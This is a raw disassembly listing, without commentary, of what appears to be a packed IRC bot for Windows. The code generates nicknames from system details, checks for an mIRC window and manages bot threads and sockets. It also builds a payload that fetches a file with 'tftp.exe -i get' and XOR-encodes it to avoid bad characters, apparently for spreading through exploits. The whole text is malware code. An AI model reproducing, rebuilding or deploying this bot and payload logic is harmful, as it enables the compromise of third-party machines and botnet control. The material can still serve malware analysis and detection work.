		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ABA4


loc_40ABBA:				; CODE XREF: sub_40AB77+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AB77	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4315F4
		push	eax
		push	esi
		call	dword_4270C8	; GetComputerNameA
		movsx	eax, byte_4315F4
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AC00:				; CODE XREF: .packed:0040AC0Bj
		cmp	eax, ecx
		jnz	short loc_40AC07
		mov	[ebp-4], edx


loc_40AC07:				; CODE XREF: .packed:0040AC02j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AC00
		push	61h
		pop	ecx


loc_40AC10:				; CODE XREF: .packed:0040AC1Bj
		cmp	eax, ecx
		jnz	short loc_40AC17
		mov	[ebp-4], edx


loc_40AC17:				; CODE XREF: .packed:0040AC12j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AC10
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AC5C


loc_40AC36:				; CODE XREF: .packed:0040AC5Aj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AC36


loc_40AC5C:				; CODE XREF: .packed:0040AC34j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_4270CC	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4315F8
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ACD1


loc_40ACAB:				; CODE XREF: .packed:0040ACCFj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACAB


loc_40ACD1:				; CODE XREF: .packed:0040ACA9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43DB88
		mov	dword ptr [ebp-94h], 94h
		call	dword_4270D0	; GetVersionExA
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AD5B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD3B
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AD2B
		mov	esi, offset dword_431620


loc_40AD2B:				; CODE XREF: .packed:0040AD24j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AD97
		mov	esi, offset dword_43161C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD3B:				; CODE XREF: .packed:0040AD1Bj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AD4B
		mov	esi, offset dword_431618
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD4B:				; CODE XREF: .packed:0040AD42j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AD92
		mov	esi, offset dword_431614
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD5B:				; CODE XREF: .packed:0040AD12j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AD92
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD74
		mov	esi, offset dword_431610
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD74:				; CODE XREF: .packed:0040AD6Bj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AD84
		mov	esi, offset dword_43160C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: .packed:0040AD7Bj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431608
		jz	short loc_40AD97


loc_40AD92:				; CODE XREF: .packed:0040AD52j
					; .packed:0040AD62j
		mov	esi, offset dword_431604


loc_40AD97:				; CODE XREF: .packed:0040AD32j
					; .packed:0040AD39j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4315FC
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ADDB


loc_40ADB5:				; CODE XREF: .packed:0040ADD9j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ADB5


loc_40ADDB:				; CODE XREF: .packed:0040ADB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADE1	proc near		; CODE XREF: sub_40AE84+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_4270B0	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40AE30
		call	dword_4CB9E0	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_43162C
		jnz	short loc_40AE19
		mov	eax, offset byte_43DB88


loc_40AE19:				; CODE XREF: sub_40ADE1+31j
		push	eax
		push	esi
		push	offset dword_431624
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_40AE50
; ---------------------------------------------------------------------------


loc_40AE30:				; CODE XREF: sub_40ADE1+22j
		call	dword_4CB9E0	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_43162C
		jnz	short loc_40AE44
		mov	eax, offset byte_43DB88


loc_40AE44:				; CODE XREF: sub_40ADE1+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40AE50:				; CODE XREF: sub_40ADE1+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40AE7F
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41CBC0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 18h


loc_40AE7F:				; CODE XREF: sub_40ADE1+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40ADE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE84	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D91C


loc_40AE90:				; CODE XREF: sub_40AE84+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AEAB
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41CA50
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AEB5
; ---------------------------------------------------------------------------


loc_40AEAB:				; CODE XREF: sub_40AE84+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AEB5:				; CODE XREF: sub_40AE84+25j
		test	eax, eax
		jnz	short loc_40AEC7
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D9A8
		jb	short loc_40AE90
		jmp	short loc_40AED5
; ---------------------------------------------------------------------------


loc_40AEC7:				; CODE XREF: sub_40AE84+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D920[eax*4]
		pop	ecx


loc_40AED5:				; CODE XREF: sub_40AE84+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AEE8
		push	[ebp+arg_0]
		call	sub_40ADE1
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AEE8:				; CODE XREF: sub_40AE84+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AE84	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		lea	eax, [ebp-0B8h]
		push	edi
		push	eax
		mov	edi, offset byte_43DB88
		mov	dword ptr [ebp-0B8h], 94h
		call	dword_4270D0	; GetVersionExA
		cmp	dword ptr [ebp-0B4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40AF67
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF48
		cmp	dword ptr [ebp-0A8h], 1
		jnz	short loc_40AF38
		mov	edi, offset dword_431620


loc_40AF38:				; CODE XREF: .packed:0040AF31j
		cmp	dword ptr [ebp-0A8h], 2
		jnz	short loc_40AFA3
		mov	edi, offset dword_43161C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF48:				; CODE XREF: .packed:0040AF28j
		cmp	[ebp-0B0h], ebx
		jnz	short loc_40AF57
		mov	edi, offset dword_431618
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF57:				; CODE XREF: .packed:0040AF4Ej
		cmp	dword ptr [ebp-0B0h], 5Ah
		jnz	short loc_40AF9E
		mov	edi, offset dword_431614
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF67:				; CODE XREF: .packed:0040AF1Fj
		cmp	dword ptr [ebp-0B4h], 5
		jnz	short loc_40AF9E
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF80
		mov	edi, offset dword_431610
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF80:				; CODE XREF: .packed:0040AF77j
		cmp	dword ptr [ebp-0B0h], 1
		jnz	short loc_40AF90
		mov	edi, offset dword_43160C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF90:				; CODE XREF: .packed:0040AF87j
		cmp	dword ptr [ebp-0B0h], 2
		mov	edi, offset dword_431684
		jz	short loc_40AFA3


loc_40AF9E:				; CODE XREF: .packed:0040AF5Ej
					; .packed:0040AF6Ej
		mov	edi, offset dword_431680


loc_40AFA3:				; CODE XREF: .packed:0040AF3Fj
					; .packed:0040AF46j ...
		lea	eax, [ebp-0A4h]
		push	offset word_4CB88C
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFC1
		mov	esi, offset dword_43167C
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFC1:				; CODE XREF: .packed:0040AFB8j
		lea	eax, [ebp-0A4h]
		push	offset a1	; "1"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFDF
		mov	esi, offset sub_431678
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: .packed:0040AFD6j
		lea	eax, [ebp-0A4h]
		push	offset dword_431674
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFFD
		mov	esi, offset dword_431670
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFFD:				; CODE XREF: .packed:0040AFF4j
		lea	eax, [ebp-0A4h]
		push	offset dword_43166C
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B01B
		mov	esi, offset dword_431668
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40B01B:				; CODE XREF: .packed:0040B012j
		lea	eax, [ebp-0A4h]
		push	offset dword_431664
		push	eax
		call	sub_41C2E0
		pop	ecx
		mov	esi, offset dword_431660
		test	eax, eax
		pop	ecx
		jnz	short loc_40B03C
		mov	esi, offset off_43165C


loc_40B03C:				; CODE XREF: .packed:0040AFBFj
					; .packed:0040AFDDj ...
		lea	eax, [ebp-0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_41ADD8
		pop	ecx
		push	eax
		call	sub_41CCE3
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40B086
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	short loc_40B0AA
; ---------------------------------------------------------------------------


loc_40B086:				; CODE XREF: .packed:0040B06Fj
		cmp	eax, 64h
		jge	short loc_40B098
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_42635C
		jmp	short loc_40B0A7
; ---------------------------------------------------------------------------


loc_40B098:				; CODE XREF: .packed:0040B089j
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360


loc_40B0A7:				; CODE XREF: .packed:0040B096j
		add	esp, 0Ch


loc_40B0AA:				; CODE XREF: .packed:0040B084j
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		call	dword_4270CC	; GetLocaleInfoA
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+8]
		push	eax
		push	offset aSSSS	; "%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_429098, esi
		jle	short loc_40B115


loc_40B0F0:				; CODE XREF: .packed:0040B113j
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40B0F0


loc_40B115:				; CODE XREF: .packed:0040B0EEj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B11C	proc near		; CODE XREF: sub_40B13C+Ap
					; sub_40B214+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B9C0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B11C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B13C	proc near		; CODE XREF: sub_40B22B+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B11C
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B159
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B159:				; CODE XREF: sub_40B13C+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41B9C0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41B9C0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43171C, eax
		lea	eax, [edi+1]
		mov	dword_43173D, eax
		lea	eax, [edi+17h]
		mov	dword_431735, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4316B8
		push	ebx
		mov	dword_43174B, eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_431741
		push	esi
		call	sub_41CD20
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B13C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B214	proc near		; CODE XREF: sub_40B22B+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B11C
		push	eax
		call	sub_40B298
		add	esp, 0Ch
		retn
sub_40B214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B22B	proc near		; CODE XREF: sub_40DCF9+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40B214
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40B24B
		cmp	eax, 0FFFFh
		jbe	short loc_40B24F


loc_40B24B:				; CODE XREF: sub_40B22B+17j
		xor	eax, eax
		jmp	short loc_40B294
; ---------------------------------------------------------------------------


loc_40B24F:				; CODE XREF: sub_40B22B+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40B11C
		add	eax, 101h
		push	eax
		call	sub_41BEB5
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B11C
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B13C
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B3
		push	esi
		mov	edi, eax
		call	sub_41BA91
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40B294:				; CODE XREF: sub_40B22B+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B22B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B298	proc near		; CODE XREF: sub_40B214+Ep
					; sub_40B2B3+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B2A1
		inc	ecx


loc_40B2A1:				; CODE XREF: sub_40B298+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B3	proc near		; CODE XREF: sub_40B22B+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B2D2


loc_40B2CF:				; CODE XREF: sub_40B2B3+8j
					; sub_40B2B3+Ej ...
		inc	[ebp+arg_C]


loc_40B2D2:				; CODE XREF: sub_40B2B3+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B2FA
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B2F3
		cmp	al, 0Dh
		jz	short loc_40B2F3
		cmp	al, 5Ch
		jz	short loc_40B2F3
		test	al, al
		jnz	short loc_40B2FA


loc_40B2F3:				; CODE XREF: sub_40B2B3+32j
					; sub_40B2B3+36j ...
		add	[ebp+arg_C], 100h


loc_40B2FA:				; CODE XREF: sub_40B2B3+28j
					; sub_40B2B3+3Ej
		push	[ebp+arg_C]
		call	sub_40B298
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B312
		cmp	eax, 0FFFFh
		jbe	short loc_40B319


loc_40B312:				; CODE XREF: sub_40B2B3+56j
		xor	eax, eax
		jmp	loc_40B3B7
; ---------------------------------------------------------------------------


loc_40B319:				; CODE XREF: sub_40B2B3+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CBB18
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B349


loc_40B32D:				; CODE XREF: sub_40B2B3+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B340
		cmp	al, 0Ah
		jz	short loc_40B340
		cmp	al, 0Dh
		jz	short loc_40B340
		cmp	al, 5Ch
		jnz	short loc_40B344


loc_40B340:				; CODE XREF: sub_40B2B3+7Fj
					; sub_40B2B3+83j ...
		inc	bl
		xor	edx, edx


loc_40B344:				; CODE XREF: sub_40B2B3+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B32D


loc_40B349:				; CODE XREF: sub_40B2B3+78j
		cmp	ecx, esi
		mov	byte_4CBB18, bl
		ja	short loc_40B375
		push	15h
		push	offset loc_4316A0
		push	[ebp+arg_0]
		mov	byte_4316AD, cl
		mov	byte_4316B1, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B396
; ---------------------------------------------------------------------------


loc_40B375:				; CODE XREF: sub_40B2B3+9Ej
		push	17h
		push	offset loc_431688
		push	[ebp+arg_0]
		mov	word_431696, cx
		mov	byte_43169B, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	17h


loc_40B396:				; CODE XREF: sub_40B2B3+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B3B2
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40B3A4:				; CODE XREF: sub_40B2B3+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B3A4


loc_40B3B2:				; CODE XREF: sub_40B2B3+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40B3B7:				; CODE XREF: sub_40B2B3+61j
		pop	esi
		leave
		retn
sub_40B2B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3BA	proc near		; CODE XREF: sub_401221+378p
					; sub_401221+3B7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E710


loc_40B3C2:				; CODE XREF: sub_40B3BA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B3D6
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB710
		jl	short loc_40B3C2
		jmp	short loc_40B421
; ---------------------------------------------------------------------------


loc_40B3D6:				; CODE XREF: sub_40B3BA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E710[esi]
		push	eax
		call	sub_41BFD0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E910[esi], eax
		and	dword_43E914[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E918[esi], 0
		mov	dword_43E91C[esi], eax
		and	byte_43E928[esi], 0
		pop	esi


loc_40B421:				; CODE XREF: sub_40B3BA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B3BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B425	proc near		; DATA XREF: sub_401ACD+2946o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_40B477
		push	[ebp+var_14]
		call	sub_40B6D6
		add	esp, 14h
		push	0
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_40B425	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B477	proc near		; CODE XREF: sub_40B425+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_43177C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43E710


loc_40B4A1:				; CODE XREF: sub_40B477+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40B4E2
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B4B5
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40B4E2


loc_40B4B5:				; CODE XREF: sub_40B477+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h


loc_40B4E2:				; CODE XREF: sub_40B477+2Dj
					; sub_40B477+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB710
		jl	short loc_40B4A1
		pop	edi
		pop	esi
		leave
		retn
sub_40B477	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B4F5	proc near		; CODE XREF: sub_401ACD+79AAp
					; sub_40B583+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B57D
		cmp	esi, 400h
		jge	short loc_40B57D
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E924[esi]
		lea	edi, dword_43E924[esi]
		call	dword_4270B4	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40B52D
		push	1
		pop	ebp


loc_40B52D:				; CODE XREF: sub_40B4F5+33j
		mov	[edi], ebx
		lea	edi, dword_43E918[esi]
		mov	dword_43E910[esi], ebx
		mov	dword_43E914[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B54E
		push	eax
		call	sub_419F16
		pop	ecx


loc_40B54E:				; CODE XREF: sub_40B4F5+50j
		mov	[edi], ebx
		lea	edi, dword_43E91C[esi]
		mov	byte ptr dword_43E710[esi], bl
		mov	byte_43E928[esi], bl
		push	dword ptr [edi]
		call	dword_4CBA6C	; closesocket
		lea	esi, dword_43E920[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CBA6C	; closesocket
		mov	[esi], ebx
		pop	edi


loc_40B57D:				; CODE XREF: sub_40B4F5+Dj
					; sub_40B4F5+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B4F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B583	proc near		; CODE XREF: sub_40111D+18p
					; sub_401221:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E710


loc_40B58F:				; CODE XREF: sub_40B583+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B5A0
		push	edi
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5A0
